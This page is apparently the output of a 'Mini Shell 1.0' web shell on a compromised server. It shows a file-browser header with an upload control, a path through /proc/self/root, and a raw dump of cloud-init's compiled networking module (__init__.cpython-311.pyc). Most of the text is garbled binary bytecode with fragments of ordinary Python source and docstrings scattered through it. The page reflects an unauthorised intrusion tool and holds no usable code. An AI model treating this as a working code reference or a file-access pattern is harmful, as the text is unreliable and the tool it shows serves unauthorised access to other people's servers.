HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/cloudinit/net/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/cloudinit/net/__pycache__/__init__.cpython-311.pyc
�

܍~cS���|�ddlZddlZddlZddlZddlZddlZddlmZmZm	Z	m
Z
mZddlm
Z
ddlmZmZddlmZmZeje��ZdZdZgd�Zgd	�Zejd
��fd�Zd�Zd[d�Z				d\d�Zd]d�Z d�Z!d�Z"d�Z#d�Z$d�Z%d�Z&d�Z'ej(d���de)fd���Z*ej(d���de+fd���Z,de-de)fd�Z.d]d�Z/d�Z0d �Z1d]de)fd!�Z2d]d"�Z3d]d#�Z4d$�Z5d%�Z6d&�Z7d'�Z8d(�Z9Gd)�d*e:��Z;d+�Z<	d]d,ee
e-de
e-fd-�Z=	d]d,ee
e-dee-fd.�Z>	d]d,ee
e-de
e-fd/�Z?	d]d,ee
e-dee-fd0�Z@	d]d,ee
e-de
e-fd1�ZA	d]d,ee
e-dee-fd2�ZB	d]d,ee
e-de
e-fd3�ZC	d]d,ee
e-dee-fd4�ZDd^d5�ZEd6�ZFd_d8�ZGd`d:�ZH	dad;�ZId<�ZJd=�ZKd]deLfd>�ZMd?e-dee-fd@�ZNd]deLfdA�ZOd]deLfdB�ZPd]deLfdC�ZQd]deLfdD�ZRd]de+fdE�ZSdF�ZTdGe	e-efde)fdH�ZUdIedJe-fdK�ZVdJe-de)fdL�ZWdJe-de)fdM�ZXdJe-de)fdN�ZYdJe-de)fdO�ZZdJe-de)fdP�Z[dJe-de)fdQ�Z\de)fdR�Z]de-fdS�Z^de_fdT�Z`de_fdU�ZadVe-dWe-de-fdX�ZbGdY�dZec��ZddS)b�N)�Any�Callable�Dict�List�Optional)�urlparse)�subp�util)�UrlError�readurlz/sys/class/net/�eth0)�dhcp6�
ipv6_slaaczipv6_dhcpv6-statelesszipv6_dhcpv6-stateful)�	ovs-vsctlz--format�csvz
--no-headingsz	--timeout�10z	--columns�name�find�	interfacez
type=internalz([0-9]+)c�@�d�tj||��D��S)aDSorting for Humans: natural sort order. Can be use as the key to sort
    functions.
    This will sort ['eth0', 'ens3', 'ens10', 'ens12', 'ens8', 'ens0'] as
    ['ens0', 'ens3', 'ens8', 'ens10', 'ens12', 'eth0'] instead of the simple
    python way which will produce ['ens0', 'ens10', 'ens12', 'ens3', 'ens8',
    'eth0'].c�|�g|]9}|���rt|��n|�����:S�)�isdigit�int�lower)�.0�texts  �8/usr/lib/python3/dist-packages/cloudinit/net/__init__.py�
<listcomp>z$natural_sort_key.<locals>.<listcomp>3sG�������\�\�^�^�5��D�	�	�	���������)�re�split)�s�_nsres  r�natural_sort_keyr%,s/�����H�U�A�&�&����r c��tS)z3Simple function to return the global SYS_CLASS_NET.)�
SYS_CLASS_NETrr r�get_sys_class_pathr(9s���r �c�0�t��|zdz|zS)N�/)r(��devname�paths  r�sys_dev_pathr/>s�����'�)�C�/�$�6�6r c��t||��}	tj|��}nx#ttf$rd}t|dd��}	|	tjtjfvr|�||��cYd}~S|	tj	fvr|�||��cYd}~S�d}~wwxYw|�
��}|�|S	||S#t$r4}|�||��cYd}~St�
d||���d}~wwxYw)N�errnoz5Found unexpected (not translatable) value '%s' in '%s)r/r
�	load_file�OSError�IOError�getattrr1�ENOENT�ENOTDIR�EINVAL�strip�KeyError�LOG�debug)
r-r.�	translate�	on_enoent�on_keyerror�	on_einval�dev_path�contents�e�e_errnos
          r�read_sys_netrEBs\���G�T�*�*�H�
��>�(�+�+�����W������!�W�d�+�+���u�|�U�]�3�3�3��$� �y��|�|�#�#�#�#�#�#��u�|�o�%�%��$� �y��|�|�#�#�#�#�#�#�
����������~�~���H��������"�"���	�	�	��"��;�q�>�>�!�!�!�!�!�!��I�I�G���
�
�
�

�����	���sP�'�B�7B�/B�5B�B�B�B�8C�
C>�
C9�C>�C9�9C>c�2�d�}t||||||���S)Nc��dS�NFr)rCs r�
on_excp_falsez(read_sys_net_safe.<locals>.on_excp_falsehs���ur )r?r>r@r=)rE)�iface�fieldr=rIs    r�read_sys_net_saferLgs<������
�
�!����
���r c�p�t||��}|durdS	t|��S#t$rYdSwxYwrH)rLr�
ValueError)rJrK�vals   r�read_sys_net_intrPusQ��
�E�5�
)�
)�C�
�e�|�|��t���3�x�x��������t�t����s�'�
5�5c�2�dddd�}t|d|���S)NTF)�up�unknown�down�	operstate)r=�rL)r-r=s  r�is_uprWs(����e�<�<�I��W�k�Y�G�G�G�Gr c�\�tj�t|d����S)N�bridge��osr.�existsr/�r-s r�	is_bridger^�s ��
�7�>�>�,�w��9�9�:�:�:r c�\�tj�t|d����S)N�bondingrZr]s r�is_bondra�s ��
�7�>�>�,�w�	�:�:�;�;�;r c�j�t|d���}tj�|��r|SdS)z8Return the master path for devname, or None if no master�master�r.N)r/r[r.r\r,s  r�
get_masterre�s4����h�/�/�/�D�	�w�~�~�d�������4r c�$�t|��}|�dStj�|d��}tj�|d��}tj�|��ptj�|��S)z@Return a bool indicating if devname's master is a bridge or bondNFr`rY)rer[r.�joinr\)r-�master_path�bonding_path�bridge_paths    r�master_is_bridge_or_bondrk�sk���W�%�%�K����u��7�<�<��Y�7�7�L��'�,�,�{�H�5�5�K�
�7�>�>�,�'�'�F�2�7�>�>�+�+F�+F�Fr c��t|��}|�dSt|d���}tj�|��S)z;Return a bool indicating if devname's master is openvswitchNFzupper_ovs-systemrd)rer/r[r.r\)r-rh�ovs_paths   r�master_is_openvswitchrn�sA���W�%�%�K����u��G�*<�=�=�=�H�
�7�>�>�(�#�#�#r )�maxsize�returnc��ttjd����}|st�d��|S)zDReturn a bool indicating if Open vSwitch is installed in the system.rz<ovs-vsctl not in PATH; not detecting Open vSwitch interfaces)�boolr	�whichr;r<)�rets r�openvswitch_is_installedru�sC���t�z�+�&�&�
'�
'�C��
��	�	�J�	
�	
�	
��Jr c���	tjt��\}}|���S#tj$r0}d|jvr!t
�d��gcYd}~S�d}~wwxYw)z�Return a list of the names of OVS internal interfaces on the system.

    These will all be strings, and are used to exclude OVS-specific interface
    from cloud-init's network configuration handling.
    zdatabase connection failedzJOpen vSwitch is not yet up; no interfaces will be detected as OVS-internalN)r	�!OVS_INTERNAL_INTERFACE_LOOKUP_CMD�
splitlines�ProcessExecutionError�stderrr;�info)�out�_err�excs   r�get_ovs_internal_interfacesr�s��� ��I�?�@�@�	��T��~�~������%����'�3�:�5�5��H�H� �
�
�
��I�I�I�I�I�I�
��������s!�2�A1�$A,�%A1�+A,�,A1r-c��t��sdSt��}||vrt�d|��dSdS)z�Returns True if this is an OVS internal interface.

    If OVS is not installed or not yet running, this will return False.
    FzDetected %s as an OVS interfaceT)rurr;r<)r-�ovs_bridgess  r�!is_openvswitch_internal_interfacer��sL��
$�%�%���u�-�/�/�K��+����	�	�3�W�=�=�=��t��5r c�l�|�t|��}t||��st||��rdSdS)z�netfailover driver uses 3 nics, master, primary and standby.
    this returns True if the device is either the primary or standby
    as these devices are to be ignored.
    NTF)�
device_driver�is_netfail_primary�is_netfail_standby�r-�drivers  r�is_netfailoverr��sK��
�~��w�'�'���'�6�*�*��.@���/�/���t��5r c�N�d}	t|d��}n#t$rYnwxYw|S)zDReturns a str from reading /sys/class/net/<devname>/device/features.r)zdevice/features)rE�	Exception�r-�featuress  r�get_dev_featuresr��sC���H�
���):�;�;�����
�
�
���
�����Os��
"�"c�f�t|��}|rt|��dkrdS|ddkS)z� Return True if VIRTIO_NET_F_STANDBY bit (62) is set.

    https://github.com/torvalds/linux/blob/         089cf7f6ecb266b6a4164919a2e69bd2f938374a/         include/uapi/linux/virtio_net.h#L60
    �@F�>�1)r��lenr�s  r�has_netfail_standby_featurer��s=�� ��(�(�H���s�8�}�}�r�)�)��u��B�<�3��r c�|�t|���dS|�t|��}|dkrdSt|��sdSdS)z�A device is a "netfail master" device if:

    - The device does NOT have the 'master' sysfs attribute
    - The device driver is 'virtio_net'
    - The device has the standby feature bit set

    Return True if all of the above is True.
    NF�
virtio_netT�rer�r�r�s  r�is_netfail_masterr��sS���'���&��u�
�~��w�'�'��
�����u�&�w�/�/���u��4r c�h�t|d���}tj�|��sdS|�t	|��}|dkrdStj�tj�|����}t	|��}|dkrdSt|��}|sdSdS)a7A device is a "netfail primary" device if:

    - the device has a 'master' sysfs file
    - the device driver is not 'virtio_net'
    - the 'master' sysfs file points to device with virtio_net driver
    - the 'master' device has the 'standby' feature bit set

    Return True if all of the above is True.
    rcrdFNr�T)r/r[r.r\r��basename�realpathr�)r-r��master_sysfs_path�master_devname�
master_driver�master_has_standbys      rr�r�s���%�W�8�<�<�<��
�7�>�>�+�,�,���u�
�~��w�'�'��
�����u��W�%�%�b�g�&6�&6�7H�&I�&I�J�J�N�!�.�1�1�M���$�$��u�4�^�D�D�����u��4r c�|�t|���dS|�t|��}|dkrdSt|��sdSdS)z�A device is a "netfail standby" device if:

    - The device has a 'master' sysfs attribute
    - The device driver is 'virtio_net'
    - The device has the standby feature bit set

    Return True if all of the above is True.
    NFr�Tr�r�s  rr�r�6sS���'���"��u�
�~��w�'�'��
�����u�&�w�/�/���u��4r c�6�t|d��}|r|dvrdSdS)a�
    /* interface name assignment types (sysfs name_assign_type attribute) */
    #define NET_NAME_UNKNOWN      0  /* unknown origin (not exposed to user) */
    #define NET_NAME_ENUM         1  /* enumerated by kernel */
    #define NET_NAME_PREDICTABLE  2  /* predictably named by the kernel */
    #define NET_NAME_USER         3  /* provided by user-space */
    #define NET_NAME_RENAMED      4  /* renamed by user-space */
    �name_assign_type)�3�4TFrV)r-r�s  r�
is_renamedr�Ns2��)��2D�E�E����,�
�:�:��t��5r c�h�tt|d����}d|���vS)N�ueventzDEVTYPE=vlan)�strrLrx)r-r�s  r�is_vlanr�]s1��
�"�7�H�5�5�
6�
6�F��V�.�.�0�0�0�0r c���d}t|d��}tj�|��r1tj�tj|����}|S)z8Return the device driver for net device named 'devname'.Nz
device/driver)r/r[r.�islinkr��readlink)r-r��driver_paths   rr�r�bsP��
�F��w��8�8�K�	�w�~�~�k�"�"�<���!�!�"�+�k�":�":�;�;���Mr c�2�t|d��}|durdS|S)z;Return the device id string for net device named 'devname'.z
device/deviceFNrV)r-�dev_ids  r�device_devidr�ms$��
�w��
8�
8�F�
�����t��Mr c�P�tj��stj��r-tt	�������S	t
jt����}n0#t$r#}|j
tjkrg}n�Yd}~nd}~wwxYw|S�N)r
�
is_FreeBSD�is_DragonFlyBSD�list�get_interfaces_by_mac�valuesr[�listdirr(r3r1r6)�devsrCs  r�get_devicelistr�vs�������6�D�0�2�2�6��)�+�+�2�2�4�4�5�5�5���z�,�.�.�/�/���������7�e�l�"�"��D�D��
�D�D�D�D���������
�Ks� A6�6
B#�B�B#c��eZdZdZdS)�ParserErrorz6Raised when a parser has issue parsing a file/content.N)�__name__�
__module__�__qualname__�__doc__rr rr�r��s������@�@�@�@r r�c�f�|rt|t��sdS|�d��dkS)NF�config�disabled)�
isinstance�dict�get)�cfgs r�is_disabled_cfgr��s7����j��d�+�+���u��7�7�8���
�*�*r �blacklist_driversc���tj��stj��rt|��Stj��stj��rt
|��St|��S)zqGet the list of network interfaces viable for networking.

    @return List of interfaces, sorted naturally.
    )r
r�r��find_candidate_nics_on_freebsd�	is_NetBSD�
is_OpenBSD�(find_candidate_nics_on_netbsd_or_openbsd�find_candidate_nics_on_linux�r�s r�find_candidate_nicsr��sp������?�D�0�2�2�?�-�.?�@�@�@�	
��	�	�?�T�_�.�.�?�7�8I�J�J�J�+�,=�>�>�>r c���tj��stj��rt|��Stj��stj��rt
|��St|��S)z.Get the name of the 'fallback' network device.)r
r�r��find_fallback_nic_on_freebsdr�r��&find_fallback_nic_on_netbsd_or_openbsd�find_fallback_nic_on_linuxr�s r�find_fallback_nicr��sp������=�D�0�2�2�=�+�,=�>�>�>�	
��	�	�=�T�_�.�.�=�5�6G�H�H�H�)�*;�<�<�<r c�j�tt�����t���S)z�Get the names of the candidate network devices on NetBSD/OpenBSD.

    @param blacklist_drivers: currently ignored
    @return list of sorted interfaces
    ��key)�sortedr�r�r%r�s rr�r��s+���'�)�)�0�0�2�2�8H�I�I�I�Ir c�8�t|��}|r|dSdS)z�Get the 'fallback' network device name on NetBSD/OpenBSD.

    @param blacklist_drivers: currently ignored
    @return default interface, or None
    rN)r��r��namess  rr�r��s(��
5�5F�G�G�E����Q�x���4r c���tjgd���\}}|���}|r|Stt�����t
���S)z�Get the names of the candidate network devices on FreeBSD.

    @param blacklist_drivers: Currently ignored.
    @return List of sorted interfaces.
    )�ifconfigz-lz-u�etherr�)r	r"r�r�r�r%)r��stdout�_stderrr�s    rr�r��sa���i� A� A� A�B�B�O�F�G�
�\�\�^�^�F�
���
��'�)�)�0�0�2�2�8H�I�I�I�Ir c�8�t|��}|r|dSdS)z�Get the 'fallback' network device name on FreeBSD.

    @param blacklist_drivers: Currently ignored.
    @return List of sorted interfaces.
    rN)r�r�s  rr�r��s(��
+�+<�=�=�E����Q�x���4r c���|sg}dtj��vrt�d��nod�t	��D��}t|��rHt�d|��d}tjtj|tj���g}g}t	��D�]�}|dkr�
t|��}||vrt�d||���:t|d	��st�d
|���f|�
d��rt�d|����t|��rt�d
|����t|��rt�d|����t|��rt�d|����t|d��}|r|�|����Bt�d|��t|d��}|r|�|�����t|d��}	|	dvr|�|�����t�d|�����g}
||fD][}t!|t"���}t$|vr5|�t$��|�dt$��|
|z
}
�\|
S)z�Get the names of the candidate network devices on Linux.

    @param blacklist_drivers: Filter out NICs with these drivers.
    @return List of sorted interfaces.
    z
net.ifnames=0z9Stable ifnames disabled by net.ifnames=0 in /proc/cmdlinec�<�g|]}|dk�t|���|��S)�lo)r�)r�devices  rrz0find_candidate_nics_on_linux.<locals>.<listcomp>�s5��
�
�
����~�~�j��&8�&8�~�
��~�~r z4Found unstable nic names: %s; calling udevadm settlez!Waiting for udev events to settle)�funcr�z%Ignoring interface with %s driver: %s�addressz"Ignoring interface without mac: %s�vethzIgnoring veth interface: %szIgnoring bridge interface: %szIgnoring bond interface: %szIgnoring failover interface: %s�carrierzInterface has no carrier: %s�dormantrU)r�rT�lowerlayerdownrSzInterface ignored: %sr�r)r
�get_cmdliner;r<r�r��log_time�udevadm_settler�rL�
startswithr^rar�rP�appendr�r%�DEFAULT_PRIMARY_INTERFACE�remove�insert)r��unstable�msg�	connected�possibly_connectedrr�r�r�rU�sorted_interfaces�
interfacess            rr�r��s#�������$�*�,�,�,�,��	�	�M�N�N�N�N�
�
�(�*�*�
�
�
��
�x�=�=�	D��I�I�F��
�
�
�6�C��M�#�)�S�t�/B�C�C�C�C��I���#�%�%�)6�)6�	�������y�)�)���&�&�&��I�I�7���
�
�
�
� ��I�6�6�	��I�I�:�I�F�F�F������'�'�	��I�I�3�Y�?�?�?���Y���	��I�I�5�y�A�A�A���9���	��I�I�3�Y�?�?�?���)�$�$�	��I�I�7��C�C�C��"�9�i�8�8���	����Y�'�'�'���	�	�0�)�<�<�<�#�9�i�8�8���	��%�%�i�0�0�0��%�i��=�=�	��H�H�H��%�%�i�0�0�0���	�	�)�9�5�5�5�5��� �"4�5�(�(�
��J�,<�=�=�=�
�$�
�2�2����7�8�8�8����a�!:�;�;�;��Z�'����r c�8�t|��}|r|dSdS)z�Get the 'fallback' network device name on Linux.

    @param blacklist_drivers: Ignore devices with these drivers.
    @return List of sorted interfaces.
    rN)r�r�s  rr�r�>s(��
)�):�;�;�E����Q�x���4r c��|sd}t|���}|sdSt|��rd|i}n$dt|d�����i}d||d�}|rt	|��}|r||d	d
<||idd�}|S)
zBGenerate network cfg v2 for dhcp on the NIC most likely connected.Fr�Nr�
macaddressr�T)�dhcp4�set-name�matchrr��)�	ethernets�version)r�r�rLrr�)r��
config_driver�target_namerr�r��nconfs       r�generate_fallback_configrMs������
�#�6G�H�H�H�K����t���%�%�
���%���
�+�K��C�C�I�I�K�K�
���k�E�
B�
B�C��,��{�+�+���	,�%+�C��L��"�&��,��;�;�E��Lr c��d�}d�}|�d��}|dkr||��S|dkr||��Std|z���)Nc���g}|�di��D]�}|�d��dkr�|�d��}|s�4|�d��}|�di���d��}|�di���d��}|st|��}|st|��}|�||||g����|S)	Nr��type�physical�mac_addressr�paramsr��	device_id)r�r�r�r�)�netcfg�physdevs�ent�macrr�rs       r�
_version_1z$extract_physdevs.<locals>._version_1hs������:�:�h��+�+�
	<�
	<�C��w�w�v���*�,�,���'�'�-�(�(�C��
���7�7�6�?�?�D��W�W�X�r�*�*�.�.�x�8�8�F�����"�-�-�1�1�+�>�>�I��
-�&�t�,�,���
/�(��.�.�	��O�O�S�$��	�:�;�;�;�;��r c��g}|�di�����D]�}|�d��}|s�|�di���d��}|s�F|�di���d��}|�di���d��}|st|��}|st|��}|�||||g����|S)Nrrrr�r�r)r�r�r�r�r�)rrrrrr�rs       r�
_version_2z$extract_physdevs.<locals>._version_2zs�����:�:�k�2�.�.�5�5�7�7�	<�	<�C��7�7�:�&�&�D��
���'�'�'�2�&�&�*�*�<�8�8�C��
���W�W�W�b�)�)�-�-�h�7�7�F������,�,�0�0��=�=�I��
-�&�t�,�,���
/�(��.�.�	��O�O�S�$��	�:�;�;�;�;��r r�rz"Unknown network config version: %s)r��RuntimeError)rrrrs    r�extract_physdevsrgsy�����$���(�j�j��#�#�G��!�|�|��z�&�!�!�!�	�A����z�&�!�!�!�
�;�g�E�
F�
F�Fr Fc�T�t|d��}|�|rtd���dS|dvS)a�return True if the provided interface has its own address.

    Based on addr_assign_type in /sys.  Return true for any interface
    that does not have a 'stolen' address. Examples of such devices
    are bonds or vlans that inherit their mac from another device.
    Possible values are:
      0: permanent address    2: stolen from another device
      1: randomly generated   3: set using dev_set_mac_address�addr_assign_typeNz%s had no addr_assign_type.T)rr�)rPrN)�ifname�strict�assign_types   r�interface_has_own_macr �sC��#�6�+=�>�>�K����	<��:�;�;�;��t��)�#�#r Tc	��i}t��D]2\}}}}d|||���|t|��d�||<�3|r�tjd��}tjgd�d���\}}tjgd�d���\}	}t
��}
||	fD]*}|
�|�|�����+|�	��D]}|dd	up	|d
|
v|d<�|S)a�Collect information necessary for rename_interfaces.

    returns a dictionary by mac address like:
       {name:
         {
          'downable': None or boolean indicating that the
                      device has only automatically assigned ip addrs.
          'device_id': Device id value (if it has one)
          'driver': Device driver (if it has one)
          'mac': mac address (in lower case)
          'name': name
          'up': boolean: is_up(name)
         }}
    N)�downablerr�rrrRz[0-9]+:\s+(\w+)[@:])�ipz-6�addr�show�	permanent�scope�globalT��capture)r#z-4r$r%rRFrr")
�get_interfacesrrWr!�compiler	�set�update�findallr�)
�check_downable�cur_inforrr�r�nmatch�ipv6r}�ipv4�nics_with_addresses�	bytes_out�ds
             r�_get_current_rename_infor8�sB���H�*8�*:�*:�
�
�&��s�F�I��"���9�9�;�;����+�+�

�
���������2�3�3���Y�H�H�H��
�
�
�
��d��Y�;�;�;�T�J�J�J�
��d�!�e�e�����	B�	B�I��&�&�v�~�~�i�'@�'@�A�A�A�A����"�"�	�	�A��$��5� �H�A�f�I�5H�$H�
�j�M�M��Or c
��� �t|��st�d��dS|�t��}i�|���D]U\}}|���}|�d��r|d���|d<||d<|�|<�Vt�d����fd�}d�}d�}	d�}
g}g}g}
|���}d	}d
}d�� �� fd�}|D�]�\}}}}|r|���}g}||||��}|s|r|�d
|�d|�d����N|�d��}||kr�j|s|r|�d
|�d|�d�����|drad}|ds|r|�||||fz����d|d<|�d|||ff��|
�d|||ff��||vr�||}|drCd}|ds|r|�||||fz����1|�d|||ff��d}|�||vr|dz
}||z}|�||v�|�d||||ff��||d<|���}|dr|
�d|||ff��|�d|||d|ff��||d<|���}||z
}���||	|
d�}t|��t|
��zdkrGt|��rt�d|��n�t�d|��nt�d|||
z��||
zD]Z\}}}}	|�|��|��!#t$r-}|�d|�|�d|�d|�d |��	��Yd}~�Sd}~wwxYwt|��r"td!�
|�����dS)"Nzno interfaces to renamerrzDetected interfaces %sc�Z��td�����D����S)Nc3�*K�|]}|d|fV��dS)rNr)r�datas  r�	<genexpr>z<_rename_interfaces.<locals>.update_byname.<locals>.<genexpr>�s+����G�G�T�T�&�\�4�(�G�G�G�G�G�Gr )r�r�)�bymacr1s �r�
update_bynamez)_rename_interfaces.<locals>.update_byname�s*����G�G�X�_�_�5F�5F�G�G�G�G�G�Gr c�>�tjddd|d|gd���dS)Nr#�linkr-rTr)�r	)�cur�news  r�renamez"_rename_interfaces.<locals>.rename�s*���	�4����V�S�9�4�H�H�H�H�H�Hr c�<�tjddd|dgd���dS)Nr#rAr-rTTr)rB�rs rrTz _rename_interfaces.<locals>.down�s(���	�4����f�5�t�D�D�D�D�D�Dr c�<�tjddd|dgd���dS)Nr#rAr-rRTr)rBrGs rrRz_rename_interfaces.<locals>.up�s(���	�4����d�3�T�B�B�B�B�B�Br z
cirename%d���c��|r(|r&|r$|d|ko|d|ko|d|kS|r|r|d|ko|d|kS|r|d|kSdS)zmatch if set and in datarr�rFr)r<rr�rs    r�entry_matchz'_rename_interfaces.<locals>.entry_matchs����		&�6�		&�i�		&��U��s�"�3���N�f�,�3���%��2�
�
�	&�V�	&���;�#�%�B�$�x�.�F�*B�B�
�	&���;�#�%�%��ur c	�����������fd�����D��}t|��r9t|��dkrd|�d��d��d��d�	}t|���|dSdS)	Nc�0��g|]}�|������|��Srr)rr<rr�rKrs  ����rrz:_rename_interfaces.<locals>.find_entry.<locals>.<listcomp>s?���
�
�
���{�4��f�i�8�8�
��
�
�
r rz2Failed to match a single device. Matched devices "z" with search values "(mac:z driver:z device_id:z)"r)r�r�rN)rr�rrr�r1rKs```  ��r�
find_entryz&_rename_interfaces.<locals>.find_entrys�������
�
�
�
�
�
�
� ���)�)�
�
�
��
�u�:�:�	��5�z�z�A�~�~�~��u�u�c�c�c�6�6�6�9�9�9�6��
!��o�o�%���8�O��tr z$[nic not present] Cannot rename mac=z to z, not available.rRz*[busy] Error renaming mac=%s from %s to %sr"FrTz2[busy-target] Error renaming mac=%s from %s to %s.rrE)rErTrRrz(unable to do any work for renaming of %sz$no work necessary for renaming of %sz$achieving renaming of %s with ops %sznknown] Error performing z for z, z: �
)r�r;r<r8�items�copyr�rr�r�rg)!�renames�strict_present�strict_busy�current_inforr<rCr?rErTrR�ops�errors�ups�
cur_byname�tmpname_fmt�tmpirNr�new_namer�r�cur_ops�cur_namer��target�tmp_name�opmap�oprrCr1rKs!                               @@r�_rename_interfacesrc�s������w�<�<���	�	�+�,�,�,�����/�1�1���H�"�(�(�*�*���
��d��i�i�k�k���7�7�5�>�>�	,��U��)�)�+�+�C��J���F��������I�I�&��1�1�1�H�H�H�H�H�I�I�I�E�E�E�C�C�C�
�C�
�F�
�C���x�(�(�J��K�
�D�
�
�
�������$-4�=�=�(��X�v�y��	��)�)�+�+�C����j��f�i�0�0���	��
��
�
�
�*-�#�#�x�x�x�9����
��7�7�6�?�?���x�����	��
��
�
�
�*-�#�#�x�x�x�9����
��t�9�	;�>�C��z�?�
��C��M�M�#��h��(A�"A�B�B�B���C��I��N�N�F�C��H�;�?�@�@�@��J�J��c�8�h�[�9�:�:�:��z�!�!���)�F��d�|�
I�J���j�)�I�"�G��
�
�c�S�(�H�,E�&E�F�F�F���N�N�F�C��H�;�#G�H�H�H��H��"�h�*�&<�&<���	��&��-���"�h�*�&<�&<�
�N�N�H�c�8�h��5I�J�K�K�K�%�F�6�N�&��x�0�0�J��d�|�
?��
�
�D�#�x�(��=�>�>�>�����#�x�#�f�+�x�1H�I�J�J�J���F��"�]�8�,�,�
��w�����t�2�6�6�E�
�3�x�x�#�c�(�(��a����v�;�;�	G��I�I�@�'�J�J�J�J��I�I�<�g�F�F�F�F��	�	�8�'�3��9�M�M�M�),�s��	�	�%�B��X�v�
���	�	�"�
�
�v�&�&�&���
�
�
��
�
�
��r�6�6�6�3�3�3����!�!�5�������������
�����6�{�{�+���	�	�&�)�)�*�*�*�+�+s�7N�
O�#O�Oc��d}tj�t|d����rd}t	||��S)z6Returns the string value of an interface's MAC Addressr��
bonding_slavezbonding_slave/perm_hwaddr)r[r.�isdirr/rL)rr.s  r�get_interface_macrgxs>���D�	�w�}�}�\�&�/�:�:�;�;�+�+���V�T�*�*�*r c��t|d��dkr*t|��}|r|r|dd�|dd�z}|SdS)z�Returns the string value of an Infiniband interface's hardware
    address. If ethernet_format is True, an Ethernet MAC-style 6 byte
    representation of the address will be returned.
    r�32�$i��3N)rLrg)r�ethernet_formatrs   r�get_ib_interface_hwaddrrm�s\�����(�(�D�0�0���'�'���	)�?�	)��b��f�+��B�C�C��(�C��
�1�0r c��tj��stj��rt|���Stj��rt|���Stj��rt|���St|���S)Nr�)	r
r�r�� get_interfaces_by_mac_on_freebsdr��get_interfaces_by_mac_on_netbsdr�� get_interfaces_by_mac_on_openbsd�get_interfaces_by_mac_on_linuxr�s rr�r��s�������
�D�0�2�2�
�/�/�
�
�
�	
�
��	�	�
�.�/�
�
�
�	
�
��	�	�
�/�/�
�
�
�	
�.�/�
�
�
�	
r rc��t�����D]3\}}|���|���kr|cS�4dSr�)r�rPr)r�
interface_mac�interface_names   r�find_interface_name_from_macrv�s]��)>�)@�)@�)F�)F�)H�)H�"�"�%�
�~��9�9�;�;�-�-�-�/�/�/�/�!�!�!�!�0��4r c��tjgd���\}}d�}d�}d�|||����D��}|S)N)r��-ar�c3�K�d}|�d��D]%}|�d��r||z
}�|r|V�|}�&|V�dS)Nr)rO�	)r"r�)r|�
curr_block�lines   r�flattenz1get_interfaces_by_mac_on_freebsd.<locals>.flatten�sq�����
��I�I�d�O�O�	"�	"�D����t�$�$�
"��d�"�
�
��%�$�$�$�$�!�
�
������r c3�K�|D]E}tjd|��}|r,|�d��|�d��fV��FdS)Nz2^(?P<ifname>\S*): .*ether\s(?P<mac>[\da-f:]{17}).*rr)r!�search�group)�	flat_list�block�ms   r�find_macz2get_interfaces_by_mac_on_freebsd.<locals>.find_mac�sg�����	:�	:�E��	�E�u���A��
:��w�w�u�~�~�q�w�w�x�'8�'8�9�9�9�9��	:�	:r c��i|]\}}||��	Srr)rrrs   r�
<dictcomp>z4get_interfaces_by_mac_on_freebsd.<locals>.<dictcomp>�s��E�E�E�{�s�F�s�F�E�E�Er rB)r�r|�_r}r��resultss      rroro�sg���y�4�4�4�5�5�H�S�!�	�	�	�:�:�:�F�E�h�h�w�w�s�|�|�.D�.D�E�E�E�G��Nr c��i}d}tjddg��\}}tjdd|�����}|D]>}tj||��}|r%|���}|d||d<�?|S)NzE(?P<ifname>\w+).*address:\s(?P<mac>([\da-f]{2}[:-]){5}([\da-f]{2})).*r�rx�\n\s+� rr�r	r!�subrxr�	groupdict�	r�rt�re_field_matchr|r��if_linesr|r��fieldss	         rrprp����
�C�	6���y�*�d�+�,�,�H�S�!��v�h��S�)�)�4�4�6�6�H��2�2���H�^�T�*�*���	2��[�[�]�]�F�!'��!1�C��u�
����Jr c��i}d}tjddg��\}}tjdd|�����}|D]>}tj||��}|r%|���}|d||d<�?|S)NzC(?P<ifname>\w+).*lladdr\s(?P<mac>([\da-f]{2}[:-]){5}([\da-f]{2})).*r�rxr�r�rrr�r�s	         rrqrq�r�r c�$�i}i}t|���D]�\}}}}||vr�d}d|�d||�d|�d�}|||kru||dkr.t�|d|�d	|�d||�d
�z���e|dkr5d}t�|d||�d	||�d|�d
�z��|rt|���|||<|||<t	|d��}	|	r-|	|vr|||	<��t�d|||	|	����|S)
zmBuild a dictionary of tuples {mac: name}.

    Bridges and any devices that have a 'stolen' mac are excluded.r�T�duplicate mac found! both '�' and '�' have mac 'z'.�	hv_netvscz Ignoring 'z' due to driver 'z' having driver hv_netvsc.Fz^Ethernet and InfiniBand interfaces have the same address both '%s' and '%s' have address '%s'.)r+r;�warningrrm)
r�rt�
driver_maprrr��_devid�raise_duplicate_mac_errorr��ib_macs
          rrrrr�s����C��J�%3�+�&�&�&�I�I�!��c�6�6��#�:�:�(,�%�%�����C��������C���C��(�(��c�?�k�1�1��K�K����4�4�����S����3�3����
��[�(�(�05�-��K�K����s�8�8�8�Z��_�_�_�d�d�d�<�<����)�
(�"�3�'�'�'���C�� �
�3��
)��t�4�4���	�*�S� � �"��F������=����K�������Jr c	�Z�g}|�g}t��}d�d��}|D]�}t|��s�t|��r�"t	|��r�2t|��r�Bt
|���t|��st|��s�pt|��r��t|��}|s��|dkr||dt|���kr��t|��r��t|��}||vr��|�|||t|��f����|S)z�Return list of interface tuples (name, mac, driver, device_id)

    Bridges and any devices that have a 'stolen' mac are excluded.N�:)�00r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�)r�rgr r^r�rarerkrnr�rgr�r�r�r�r�)r�rtr��zero_macrrr�s       rr+r+9sh��
�C�� ������D��x�x��%�%�H��<�<��$�T�*�*�	���T�?�?�	���4�=�=�	���4�=�=�	���d���'�+����
�+�D�1�1�
���$���	����%�%���	���4�<�<�C�8�J�c�#�h�h�J�#7�7�7��,�T�2�2�	���t�$�$���&�&�&���
�
�D�#�v�|�D�'9�'9�:�;�;�;�;��Jr c
��i}t��D]A\}}}}t|d��}|r(||vrtd|�d||�d|�d����|||<�B|S)zTBuild a dictionary mapping Infiniband interface names to their hardware
    address.Fr�r�r��')r+rmr)rtrr�r�s    r�get_ib_hwaddrs_by_interfacer�ds���
�C�'�)�)���
��a��A�(��u�5�5���	���}�}�"�l��t�t�S��[�[�[�&�&�&�2�����C��I���Jr �url_datac��d|vrt�d|��dS|d}	t|��}t|jdk|jdkg��s"t�d|j��dSn3#t
$r&}t�d|��Yd}~dSd}~wwxYwd	|vrd
|d	<	t
di|��n#t$rYdSwxYwdS)
